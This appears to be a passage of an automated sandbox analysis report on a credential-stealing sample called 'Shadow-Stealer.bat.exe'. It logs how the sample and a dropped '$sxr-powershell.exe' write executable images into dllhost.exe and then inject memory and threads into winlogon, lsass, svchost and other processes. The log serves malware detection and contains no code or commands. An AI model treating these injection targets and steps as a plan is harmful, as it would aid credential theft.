Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D016580000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F14E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E41FA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15B4C0000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\cscript.exe base: 2DC0000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: D30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D016610000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F1540000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E428D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15B460000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23AF32B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23C9FD60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A1CA6E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D016670000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F15A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E42930000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15CAD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23AF3310000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23C9FDC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A1CA710000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 246ED7B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D0166D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F1600000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E42990000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15CB30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23AF3370000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23CA0490000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A1CA770000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 246EDE60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 200A1980000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22595FB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22E670C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FE4A4B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24C19A40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275D1FC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23BBDC90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 227D8FC0000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\cscript.exe base: 9D0000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: D50000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: D60000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 1050000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\cscript.exe base: A30000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: D70000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: D80000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 1070000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 1400000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 2D50000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 2D60000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 9E0000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 2950000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 2900000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: BA0000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: A00000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 27D0000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: F50000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 930000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe base: 13A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D016730000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F1660000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E429F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15CB90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23AF33D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23CA04F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A1CA7D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 246EDEC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 200A2400000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 225966B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22E67120000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FE4A510000 value starts with: 4D5A

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 165829A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\lsass.exe EIP: F14E29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 41FA29A0
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: C:\Windows\SysWOW64\cscript.exe EIP: 2DC2102
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 166129A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F15429A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 428D29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5B4629A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F32B29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 9FD629A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 166729A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F15A29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 429329A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5CAD29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F33129A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 9FDC29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: CA7129A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 166D29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F16029A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 429929A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5CB329A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F33729A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A04929A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: CA7729A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: EDE629A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A19829A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 95FB29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 670C29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4A4B29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 19A429A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D1FC29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BDC929A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D8FC29A0
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 9D2102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe EIP: D52102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe EIP: D62102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: A32102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: D72102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe EIP: D82102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 1072102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 1402102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 2D52102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 2D62102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 9E2102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 2952102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 2902102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: BA2102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: A02102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 27D2102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: F52102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 932102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 13A2102
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 167329A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F16629A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 429F29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5CB929A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F33D29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A04F29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CA7D29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EDEC29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A24029A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 966B29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 671229A0

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140002000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1816F6E010	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 2FCA008	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140002000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 8AFD72E010	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 2A6A008	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140002000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 21855B6010	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 402000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 2A89008	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140005000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: F797457010	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 404000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 41F000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 28A9008	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140005000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 93E5D96010	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140005000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: F34EE1A010	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140005000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: A2AB2C010	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 404000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 41F000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 2B1A008	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 404000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 41F000	Jump to behavior
